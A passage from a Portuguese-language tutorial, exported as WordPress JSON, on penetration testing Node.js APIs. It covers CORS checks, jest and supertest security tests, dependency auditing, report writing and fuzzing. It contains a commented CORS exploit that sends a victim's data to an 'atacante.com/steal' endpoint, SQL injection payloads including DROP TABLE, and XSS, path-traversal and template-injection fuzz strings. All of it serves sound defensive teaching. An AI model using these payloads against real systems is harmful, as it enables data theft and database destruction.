});\n})();<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-9-testar-cors-mal-configurado\">Passo 9: Testar CORS Mal Configurado<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Uma configura\u00e7\u00e3o CORS incorreta permite que sites maliciosos fa\u00e7am pedidos autenticados \u00e0 API em nome dos utilizadores. \u00c9 uma das vulnerabilidades mais f\u00e1ceis de explorar e mais dif\u00edceis de detetar sem testes espec\u00edficos.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Teste 1: Reflex\u00e3o de Origin (vulnerabilidade cr\u00edtica)\ncurl -I http:\/\/localhost:3000\/utilizadores\/1 \\\n  -H \"Origin: https:\/\/atacante.exemplo.com\"\n\n# Se a resposta incluir ambos:\n# Access-Control-Allow-Origin: https:\/\/atacante.exemplo.com\n# Access-Control-Allow-Credentials: true\n# -> A API aceita qualquer origem com credenciais. Cr\u00edtico!\n\n# Teste 2: Origem nula (bypass comum)\ncurl -I http:\/\/localhost:3000\/utilizadores\/1 \\\n  -H \"Origin: null\"\n\n# Teste 3: Verificar se aceita subdom\u00ednios sem valida\u00e7\u00e3o\ncurl -I http:\/\/localhost:3000\/utilizadores\/1 \\\n  -H \"Origin: https:\/\/atacante.meudominio.pt\"\n\n# Explora\u00e7\u00e3o: HTML que um atacante pode usar para roubar dados\n# (executado no browser da v\u00edtima ap\u00f3s visitar site malicioso)\n# <script>\n#   fetch('https:\/\/api.meudominio.pt\/utilizadores\/1', {credentials:'include'})\n#     .then(r => r.json())\n#     .then(d => fetch('https:\/\/atacante.com\/steal?data='+JSON.stringify(d)));\n# <\/script><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Corre\u00e7\u00e3o<\/strong>: Configure CORS com lista branca expl\u00edcita de origens:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const cors = require('cors');\n\nconst origensPermitidas = [\n  'https:\/\/app.meudominio.pt',\n  'https:\/\/admin.meudominio.pt',\n];\n\napp.use(cors({\n  origin: (origin, callback) => {\n    \/\/ Permitir pedidos sem origem (ex: mobile apps, curl)\n    if (!origin) return callback(null, true);\n    if (origensPermitidas.includes(origin)) {\n      callback(null, true);\n    } else {\n      callback(new Error(`Origem n\u00e3o permitida: ${origin}`));\n    }\n  },\n  credentials: true,\n  methods: ['GET', 'POST', 'PUT', 'DELETE'],\n  allowedHeaders: ['Content-Type', 'Authorization'],\n}));<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-10-automatizar-testes-com-node-js-e-supertest\">Passo 10: Automatizar Testes com Node.js e supertest<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A grande vantagem de testar APIs Node.js com Node.js \u00e9 a possibilidade de criar uma suite de testes de seguran\u00e7a automatizados para integrar no pipeline de CI\/CD. Com <strong>supertest<\/strong> e <strong>jest<\/strong>, pode testar automaticamente os principais vetores de ataque em cada pull request.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ seguranca.test.js\nconst request = require('supertest');\nconst app = require('.\/app');\n\ndescribe('Testes de Seguran\u00e7a - OWASP API Top 10 2023', () => {\n  let tokenAlice;\n\n  beforeAll(async () => {\n    const res = await request(app)\n      .post('\/login')\n      .send({ email: 'alice@exemplo.pt', senha: 'senha123' });\n    tokenAlice = res.body.token;\n  });\n\n  \/\/ API1: BOLA - Alice n\u00e3o deve ver dados de outros utilizadores\n  test('BOLA: acesso a recurso de terceiro retorna 403', async () => {\n    const res = await request(app)\n      .get('\/utilizadores\/2')\n      .set('Authorization', `Bearer ${tokenAlice}`);\n    expect(res.status).toBe(403);\n    expect(res.body.senha).toBeUndefined();\n  });\n\n  \/\/ API2: Tokens JWT inv\u00e1lidos s\u00e3o rejeitados\n  test('JWT inv\u00e1lido retorna 401', async () => {\n    const res = await request(app)\n      .get('\/utilizadores\/1')\n      .set('Authorization', 'Bearer token.invalido.aqui');\n    expect(res.status).toBe(401);\n  });\n\n  \/\/ API2: Token expirado \u00e9 rejeitado\n  test('JWT expirado retorna 401', async () => {\n    const jwt = require('jsonwebtoken');\n    const tokenExpirado = jwt.sign(\n      { userId: 1 },\n      process.env.JWT_SECRET,\n      { expiresIn: '-1s' }\n    );\n    const res = await request(app)\n      .get('\/utilizadores\/1')\n      .set('Authorization', `Bearer ${tokenExpirado}`);\n    expect(res.status).toBe(401);\n  });\n\n  \/\/ API3: A senha nunca \u00e9 devolvida nos endpoints de perfil\n  test('Senha nunca inclu\u00edda na resposta', async () => {\n    const res = await request(app)\n      .get('\/utilizadores\/1')\n      .set('Authorization', `Bearer ${tokenAlice}`);\n    expect(res.body.senha).toBeUndefined();\n    expect(res.body.password).toBeUndefined();\n  });\n\n  \/\/ API4: Rate limiting ativo no endpoint de login\n  test('Rate limiting bloqueia ap\u00f3s m\u00faltiplas tentativas', async () => {\n    const tentativas = Array(20).fill(null).map(() =>\n      request(app).post('\/login').send({ email: 'x@x.pt', senha: 'errada' })\n    );\n    const resultados = await Promise.all(tentativas);\n    const bloqueados = resultados.filter(r => r.status === 429);\n    expect(bloqueados.length).toBeGreaterThan(0);\n  });\n\n  \/\/ API8: Cabe\u00e7alhos de seguran\u00e7a obrigat\u00f3rios\n  test('Cabe\u00e7alhos de seguran\u00e7a presentes na resposta', async () => {\n    const res = await request(app)\n      .get('\/utilizadores\/1')\n      .set('Authorization', `Bearer ${tokenAlice}`);\n    expect(res.headers['x-content-type-options']).toBe('nosniff');\n    expect(res.headers['x-frame-options']).toBeDefined();\n    expect(res.headers['x-powered-by']).toBeUndefined();\n  });\n\n  \/\/ SQL Injection: payloads comuns n\u00e3o devem causar erros 500\n  test('Payloads SQL Injection tratados sem erro 500', async () => {\n    const payloads = [\n      \"' OR '1'='1\",\n      \"'; DROP TABLE utilizadores; --\",\n      \"1 UNION SELECT * FROM utilizadores\",\n      \"' AND SLEEP(5) --\",\n    ];\n    for (const payload of payloads) {\n      const res = await request(app)\n        .post('\/pesquisar')\n        .send({ q: payload });\n      expect(res.status).not.toBe(500);\n    }\n  });\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Execute os testes com:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>npx jest seguranca.test.js --verbose\n\n# Output esperado (API corrigida):\n# PASS seguranca.test.js\n#   Testes de Seguran\u00e7a - OWASP API Top 10 2023\n#     \u2713 BOLA: acesso a recurso de terceiro retorna 403 (23ms)\n#     \u2713 JWT inv\u00e1lido retorna 401 (8ms)\n#     \u2713 JWT expirado retorna 401 (15ms)\n#     \u2713 Senha nunca inclu\u00edda na resposta (11ms)\n#     \u2713 Rate limiting bloqueia ap\u00f3s m\u00faltiplas tentativas (234ms)\n#     \u2713 Cabe\u00e7alhos de seguran\u00e7a presentes na resposta (9ms)\n#     \u2713 Payloads SQL Injection tratados sem erro 500 (45ms)\n#\n# Tests: 7 passed, 7 total<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-11-analise-de-dependencias-com-npm-audit-e-snyk\">Passo 11: An\u00e1lise de Depend\u00eancias com npm audit e Snyk<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Uma API Node.js moderna depende de dezenas de pacotes npm. Cada um \u00e9 uma potencial superf\u00edcie de ataque. O <strong>Snyk State of Open Source Security 2025<\/strong> revela que <strong>60% dos projetos Node.js<\/strong> t\u00eam pelo menos uma depend\u00eancia com vulnerabilidade conhecida. O artigo <a href=\"\/npm-audit-nodejs\/\">npm audit: 12 Steps to Fix Node.js Vulnerabilities<\/a> cobre este tema em detalhe.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\"># Auditoria b\u00e1sica com npm\nnpm audit\n\n# Output:\n# found 3 vulnerabilities (1 moderate, 2 high)\n\n# Auditoria detalhada com formato JSON\nnpm audit --json | python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nvulns = data.get('vulnerabilities', {})\nfor name, info in vulns.items():\n    sev = info.get('severity', 'unknown')\n    print(f'{sev.upper():10} {name}')\n\"\n\n# HIGH       express\n# HIGH       jsonwebtoken\n# MODERATE   cookie\n\n# Corre\u00e7\u00e3o autom\u00e1tica sem breaking changes\nnpm audit fix\n\n# Snyk para an\u00e1lise mais profunda\nnpm install -g snyk\nsnyk auth\nsnyk test\n\n# Integrar no CI\/CD - bloquear deploy com vulnerabilidades HIGH\n# Adicionar ao package.json:\n# \"scripts\": {\n#   \"pretest\": \"npm audit --audit-level=high\"\n# }<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-12-documentar-vulnerabilidades-e-gerar-relatorio\">Passo 12: Documentar Vulnerabilidades e Gerar Relat\u00f3rio<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">O relat\u00f3rio final \u00e9 o produto mais valioso de um exerc\u00edcio de <strong>penetration testing<\/strong>. Um bom relat\u00f3rio permite \u00e0 equipa de desenvolvimento reproduzir e corrigir cada vulnerabilidade sem ambiguidade.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para cada vulnerabilidade encontrada, documente com o seguinte formato:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\">## VULN-001: Broken Object Level Authorization (BOLA)\n**Severidade**: Cr\u00edtica\n**Categoria OWASP**: API1:2023\n**Endpoint**: GET \/utilizadores\/:id\n\n### Reprodu\u00e7\u00e3o\n1. Autenticar como alice@exemplo.pt via POST \/login\n2. Usar o token recebido para GET \/utilizadores\/3\n3. A API retorna dados do utilizador 3 (admin) sem verifica\u00e7\u00e3o\n\n### Impacto\nQualquer utilizador autenticado pode aceder aos dados de qualquer outro\nutilizador, incluindo emails, senhas em texto simples e estado admin.\n\n### Prova de Conceito\ncurl -H \"Authorization: Bearer TOKEN_ALICE\" http:\/\/api\/utilizadores\/3\nResposta: {\"id\":3,\"email\":\"admin@exemplo.pt\",\"senha\":\"admin999\",\"admin\":true}\n\n### Remedia\u00e7\u00e3o\nAdicionar verifica\u00e7\u00e3o:\nif (req.params.id !== req.utilizador.userId && !req.utilizador.admin) {\n  return res.status(403).json({ erro: 'Acesso negado' });\n}\n\n### Refer\u00eancias\n- OWASP API1:2023: https:\/\/owasp.org\/API-Security\/\n- CWE-639: Authorization Bypass Through User-Controlled Key<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Inclua no relat\u00f3rio final: sum\u00e1rio executivo para gest\u00e3o n\u00e3o t\u00e9cnica, metodologia usada, invent\u00e1rio de endpoints testados, lista de vulnerabilidades com severidade, prova de conceito para cada vulnerabilidade, impacto de neg\u00f3cio estimado e recomenda\u00e7\u00f5es de remedia\u00e7\u00e3o priorizadas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-armadilhas-comuns-em-pentest-de-apis-node-js\">5 Armadilhas Comuns em Pentest de APIs Node.js<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Armadilha 1: Testar apenas os endpoints documentados.<\/strong> As APIs t\u00eam frequentemente endpoints legacy, endpoints de debug (<code>\/debug<\/code>, <code>\/health<\/code>, <code>\/_internal<\/code>) ou vers\u00f5es antigas (<code>\/v1<\/code>, <code>\/v0<\/code>) n\u00e3o documentados mas ainda ativos. Use sempre uma wordlist para descobrir endpoints ocultos com gobuster ou ffuf.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Armadilha 2: Ignorar a l\u00f3gica de neg\u00f3cio.<\/strong> O OWASP ZAP e SQLmap n\u00e3o detetam vulnerabilidades de l\u00f3gica de neg\u00f3cio: transfer\u00eancias de valor negativo, cup\u00f5es de desconto infinitos, ou cancelamentos de pedidos alheios. Estas vulnerabilidades exigem testes manuais espec\u00edficos para cada fluxo de neg\u00f3cio cr\u00edtico.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Armadilha 3: Confundir autentica\u00e7\u00e3o com autoriza\u00e7\u00e3o.<\/strong> Um endpoint pode verificar corretamente que o utilizador est\u00e1 autenticado (JWT v\u00e1lido) mas n\u00e3o verificar se tem permiss\u00e3o para aceder ao recurso espec\u00edfico. BOLA e BFLA acontecem exatamente neste ponto cego. Teste cada endpoint com utilizadores de diferentes perfis e IDs diferentes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Armadilha 4: Testar em produ\u00e7\u00e3o sem janela de manuten\u00e7\u00e3o.<\/strong> Testes de carga para rate limiting, ou scans com SQLmap, podem causar indisponibilidade em produ\u00e7\u00e3o. Defina sempre um ambiente de staging id\u00eantico ao de produ\u00e7\u00e3o para testes intrusivos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Armadilha 5: Ignorar respostas de erro detalhadas.<\/strong> APIs que retornam stack traces, nomes de colunas de base de dados ou vers\u00f5es de frameworks nos erros fornecem informa\u00e7\u00e3o valiosa a um atacante. Verifique que em produ\u00e7\u00e3o os erros retornam mensagens gen\u00e9ricas:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\">\/\/ MAU: Exp\u00f5e detalhes internos\napp.use((err, req, res, next) => {\n  res.status(500).json({ erro: err.message, stack: err.stack });\n});\n\n\/\/ BOM: Mensagem gen\u00e9rica com ID de refer\u00eancia para logs internos\napp.use((err, req, res, next) => {\n  const refId = require('crypto').randomUUID();\n  console.error(`[${refId}]`, err); \/\/ Log completo apenas no servidor\n  res.status(500).json({ erro: 'Erro interno do servidor', refId });\n});<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"resolucao-de-problemas-8-situacoes-frequentes\">Resolu\u00e7\u00e3o de Problemas: 8 Situa\u00e7\u00f5es Frequentes<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 1: OWASP ZAP n\u00e3o encontra endpoints da API.<\/strong> Causa: o ZAP usa spider HTML por padr\u00e3o e APIs REST n\u00e3o t\u00eam links HTML. Solu\u00e7\u00e3o: use o API Spider do ZAP ou importe diretamente um ficheiro OpenAPI 3.0 via Import &gt; Import an OpenAPI Definition from URL.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 2: SQLmap retorna \"parameters do not appear to be injectable\".<\/strong> Causa: a API usa ORM com queries parametrizadas, ou h\u00e1 um WAF a bloquear os payloads. Solu\u00e7\u00e3o: aumente o n\u00edvel e o risco (<code>--level=5 --risk=3<\/code>) e use t\u00e9cnicas de tamper (<code>--tamper=space2comment,randomcase<\/code>). Resultado sem inje\u00e7\u00e3o \u00e9 geralmente sinal de prote\u00e7\u00e3o adequada.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 3: Testes supertest falham com ECONNREFUSED.<\/strong> Causa: o servidor Express n\u00e3o est\u00e1 exportado corretamente. Solu\u00e7\u00e3o: separe o app do servidor. Exporte o <code>app<\/code> sem chamar <code>app.listen()<\/code> no ficheiro principal, e use um ficheiro separado <code>server.js<\/code> apenas para iniciar o servidor em produ\u00e7\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 4: Rate limiting bloqueia a suite de testes.<\/strong> Causa: rate limiting ativo no ambiente de teste. Solu\u00e7\u00e3o: use <code>NODE_ENV=test<\/code> para aumentar os limites durante os testes: <code>max: process.env.NODE_ENV === 'test' ? 10000 : 10<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 5: Burp Suite n\u00e3o interceta pedidos da API mobile.<\/strong> Causa: certificate pinning ou proxy n\u00e3o configurado. Solu\u00e7\u00e3o: instale o certificado CA do Burp no dispositivo e configure o proxy manualmente para 127.0.0.1:8080. Para certificate pinning, use Frida para bypass apenas em ambientes de teste autorizados.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 6: npm audit n\u00e3o encontra vulnerabilidades \u00f3bvias.<\/strong> Causa: a base de dados do npm Advisory pode ter menos cobertura que outras bases. Solu\u00e7\u00e3o: combine npm audit com Snyk ou OWASP Dependency-Check para cobertura m\u00e1xima.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 7: CORS parece correto mas a origem ainda \u00e9 refletida.<\/strong> Causa: o middleware CORS est\u00e1 configurado depois de outro middleware que define cabe\u00e7alhos manualmente. Solu\u00e7\u00e3o: certifique-se de que o middleware CORS \u00e9 o primeiro registado, antes de qualquer rota ou middleware que manipule cabe\u00e7alhos de resposta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problema 8: O ataque JWT alg:none \u00e9 rejeitado mas outros ataques JWT funcionam.<\/strong> Causa: a biblioteca jsonwebtoken em vers\u00f5es recentes rejeita <code>none<\/code> por padr\u00e3o, mas pode ainda ser vulner\u00e1vel a confus\u00e3o de algoritmos RS256 vs HS256. Solu\u00e7\u00e3o: especifique sempre o algoritmo aceite na verifica\u00e7\u00e3o: <code>jwt.verify(token, segredo, { algorithms: ['HS256'] })<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"dicas-avancadas-fuzzing-e-testes-baseados-em-propriedades\">Dicas Avan\u00e7adas: Fuzzing e Testes Baseados em Propriedades<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Para equipas que querem seguran\u00e7a integrada no ciclo de desenvolvimento, o <strong>fuzzing<\/strong> e os <strong>testes baseados em propriedades<\/strong> aumentam significativamente a cobertura sem adicionar muita complexidade ao pipeline.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"fuzzing-de-apis-com-inputs-aleatorios\">Fuzzing de APIs com Inputs Aleat\u00f3rios<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">O fuzzing envia inputs inesperados para encontrar comportamentos an\u00f3malos que os testes estruturados n\u00e3o cobrem. Um fuzzer simples em Node.js para detetar erros 500 inesperados:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\">\/\/ fuzz-api.js\nconst request = require('supertest');\nconst app = require('.\/app');\n\nconst payloadsFuzz = [\n  null, '', ' ', '\\n', '\\t', '\\0',\n  0, -1, 999999999, NaN,\n  'a'.repeat(10000),            \/\/ Input gigante\n  '<script>alert(1)<\/script>',  \/\/ XSS\n  '..\/..\/..\/etc\/passwd',        \/\/ Path traversal\n  '{{7*7}}', '${7*7}',         \/\/ Template injection\n  '{\"nested\":{\"deeply\":{}}}',  \/\/ JSON complexo\n];\n\nasync function fuzzEndpoint(endpoint, campo) {\n  const problemas = [];\n  for (const payload of payloadsFuzz) {\n    const res = await request(app)\n      .post(endpoint)\n      .send({ [campo]: payload })\n      .catch(e => ({ status: 0, error: e.message }));\n\n    if (res.status === 500) {\n      problemas.push({ payload, status: 500 });\n    }\n  }\n  return problemas;\n}\n\n(async () => {\n  const problemas = await fuzzEndpoint('\/pesquisar', 'q');\n  if (problemas.length > 0) {\n    console.error('Erros 500 encontrados durante fuzzing:');\n    problemas.forEach(p => console.error(p));\n    process.exit(1);\n  } else {\n    console.log('Fuzzing conclu\u00eddo sem erros 500 inesperados');\n  }\n})();<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Dica: Testes Baseados em Propriedades com fast-check.<\/strong> Com a biblioteca fast-check, pode verificar invariantes de seguran\u00e7a com centenas de casos gerados automaticamente:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\">npm install --save-dev fast-check\n\n\/\/ seguranca-propriedades.test.js\nconst fc = require('fast-check');\nconst request = require('supertest');\nconst app = require('.\/app');\n\ntest('Qualquer input em \/pesquisar nunca retorna HTTP 500', async () => {\n  await fc.assert(\n    fc.asyncProperty(fc.string(), async (input) => {\n      const res = await request(app)\n        .post('\/pesquisar')\n        .send({ q: input });\n      return res.status !== 500;\n    }),\n    { numRuns: 200 }\n  );\n}, 30000);\n\ntest('Endpoint \/utilizadores\/:id nunca exp\u00f5e senha', async () => {\n  await fc.assert(\n    fc.asyncProperty(fc.integer({ min: 1, max: 100 }), async (id) => {\n      const res = await request(app)\n        .get(`\/utilizadores\/${id}`)\n        .set('Authorization', `Bearer ${tokenValido}`);\n      return res.body.senha === undefined &&\n             res.body.password === undefined;\n    }),\n    { numRuns: 50 }\n  );\n});<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"perguntas-frequentes-sobre-pentest-de-apis-node-js\">Perguntas Frequentes sobre Pentest de APIs Node.js<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Um pentester precisa de acesso ao c\u00f3digo-fonte da API para testar?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u00e3o \u00e9 obrigat\u00f3rio. Os testes de caixa negra (sem c\u00f3digo-fonte) s\u00e3o os mais representativos de um ataque real. Por\u00e9m, os testes de caixa branca (com c\u00f3digo-fonte) s\u00e3o mais eficientes e completos, detetando mais vulnerabilidades em menos tempo. Para auditorias internas, prefira sempre testes de caixa branca ou cinzenta (com documenta\u00e7\u00e3o da API mas sem c\u00f3digo).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Com que frequ\u00eancia devo fazer pentest \u00e0 minha API Node.js?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O m\u00ednimo recomendado \u00e9 uma vez por trimestre, ou sempre que houver uma altera\u00e7\u00e3o significativa na arquitetura (novo endpoint, novo sistema de autentica\u00e7\u00e3o, integra\u00e7\u00e3o com terceiros). Para APIs em setores regulados como fintech, sa\u00fade ou governo, a frequ\u00eancia m\u00ednima \u00e9 mensal. Os testes automatizados descritos no Passo 10 devem correr em cada pull request.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Qual a diferen\u00e7a entre um pentest manual e um scan automatizado?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Scanners automatizados como o OWASP ZAP cobrem rapidamente centenas de vetores conhecidos, mas t\u00eam taxas de falsos positivos elevadas e n\u00e3o detetam vulnerabilidades de l\u00f3gica de neg\u00f3cio. Um pentester manual complementa os scanners ao analisar contexto, encadear vulnerabilidades (ex: SSRF + BOLA) e explorar fluxos de neg\u00f3cio espec\u00edficos. A combina\u00e7\u00e3o de ambos \u00e9 mais eficaz que qualquer um isolado.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>O que \u00e9 o BOLA e por que \u00e9 o risco n\u00famero 1 para APIs?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">BOLA (Broken Object Level Authorization) ocorre quando uma API n\u00e3o verifica se o utilizador autenticado tem permiss\u00e3o para aceder a um objeto espec\u00edfico (identificado por ID na URL). \u00c9 o risco n\u00famero 1 porque \u00e9 ub\u00edquo em APIs REST (qualquer endpoint com IDs \u00e9 potencialmente vulner\u00e1vel) e dif\u00edcil de detetar com scanners autom\u00e1ticos, pois requer compreens\u00e3o da l\u00f3gica de autoriza\u00e7\u00e3o da aplica\u00e7\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Posso usar SQLmap sem ser pentester profissional?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sim, em sistemas que possui ou tem autoriza\u00e7\u00e3o escrita para testar. O SQLmap \u00e9 uma ferramenta de auditoria leg\u00edtima. Em Portugal, o uso de ferramentas de pentest em sistemas alheios sem autoriza\u00e7\u00e3o \u00e9 crime ao abrigo do C\u00f3digo Penal. Nunca use SQLmap ou qualquer ferramenta de pentest em sistemas de terceiros sem autoriza\u00e7\u00e3o expressa e documentada.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Como protejo a minha API Node.js contra ataques GraphQL?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para APIs GraphQL, as prote\u00e7\u00f5es essenciais incluem: desativar a introspection em produ\u00e7\u00e3o, limitar a profundidade m\u00e1xima das queries, implementar query cost analysis para prevenir queries caras, e usar persisted queries em vez de queries arbitr\u00e1rias. Bibliotecas como <strong>graphql-depth-limit<\/strong> e <strong>graphql-cost-analysis<\/strong> facilitam estas prote\u00e7\u00f5es no ecossistema Node.js.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Qual o custo de contratar um pentester externo para APIs Node.js em Portugal?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Em Portugal, um exerc\u00edcio de pentest a uma API de tamanho m\u00e9dio (10 a 30 endpoints) custa entre <strong>\u20ac1.500 e \u20ac5.000<\/strong>, dependendo da complexidade e do n\u00edvel de certifica\u00e7\u00e3o do pentester (CEH, OSCP, GWAPT). Para startups, os programas de bug bounty em plataformas como HackerOne ou Intigriti s\u00e3o uma alternativa mais econ\u00f3mica, pagando apenas por vulnerabilidades reais encontradas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>O que devo incluir num relat\u00f3rio de pentest de API?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Um relat\u00f3rio completo deve incluir: sum\u00e1rio executivo (para gest\u00e3o n\u00e3o t\u00e9cnica), metodologia usada, invent\u00e1rio de endpoints testados, lista de vulnerabilidades com severidade CVSS, prova de conceito para cada vulnerabilidade, impacto de neg\u00f3cio estimado, e recomenda\u00e7\u00f5es de remedia\u00e7\u00e3o priorizadas. Um relat\u00f3rio sem prova de conceito n\u00e3o permite \u00e0 equipa t\u00e9cnica reproduzir e confirmar a vulnerabilidade encontrada.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"cobertura-relacionada\">Cobertura Relacionada<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"artigos-relacionados\">Artigos Relacionados<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"\/owasp-top-10-nodejs\/\">OWASP Top 10 em Node.js: 12 Passos para Proteger a Sua API<\/a><\/li>\n<li><a href=\"\/jwt-authentication-nodejs\/\">Autentica\u00e7\u00e3o JWT em Node.js: 10 Passos<\/a><\/li>\n<li><a href=\"\/rate-limiting-nodejs\/\">Rate Limiting em Node.js: 12 Passos<\/a><\/li>\n<li><a href=\"\/burp-suite-vs-owasp-zap\/\">Burp Suite vs OWASP ZAP: $449\/ano vs Gr\u00e1tis<\/a><\/li>\n<li><a href=\"\/nmap-auditar-rede-12-passos\/\">Nmap: Auditar a Rede em 12 Passos, 30 Min<\/a><\/li>\n<li><a href=\"\/csrf-protection-nodejs\/\">CSRF Protection em Node.js: 12 Passos<\/a><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"referencias-externas\">Refer\u00eancias Externas<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/owasp.org\/API-Security\/\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">OWASP API Security Project<\/a><\/li>\n<li><a href=\"https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/REST_Security_Cheat_Sheet.html\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">OWASP REST Security Cheat Sheet<\/a><\/li>\n<li><a href=\"https:\/\/nodejs.org\/en\/learn\/getting-started\/security-best-practices\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">Node.js Security Best Practices<\/a><\/li>\n<li><a href=\"https:\/\/expressjs.com\/en\/advanced\/best-practice-security.html\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">Express.js Security Best Practices<\/a><\/li>\n<li><a href=\"https:\/\/www.zaproxy.org\/\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">OWASP ZAP Official Site<\/a><\/li>\n<li><a href=\"https:\/\/sqlmap.org\/\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">SQLmap Project<\/a><\/li>\n<li><a href=\"https:\/\/snyk.io\/reports\/state-of-open-source-security\/\" rel=\"noopener noreferrer nofollow\" target=\"_blank\">Snyk State of Open Source Security<\/a><\/li>\n<\/ul>\n\n\n","protected":false},"excerpt":{"rendered":"<p>Em 2026, as APIs s\u00e3o o alvo preferido dos atacantes. Segundo o relat\u00f3rio IBM Cost of a Data Breach 2024, o custo m\u00e9dio de uma viola\u00e7\u00e3o de dados atingiu $4,88\u2026<\/p>\n","protected":false},"author":3,"featured_media":172,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/posts\/171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/comments?post=171"}],"version-history":[{"count":1,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/posts\/171\/revisions"}],"predecessor-version":[{"id":173,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/posts\/171\/revisions\/173"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/media\/172"}],"wp:attachment":[{"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/media?parent=171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/categories?post=171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shattered.io\/pt\/wp-json\/wp\/v2\/tags?post=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}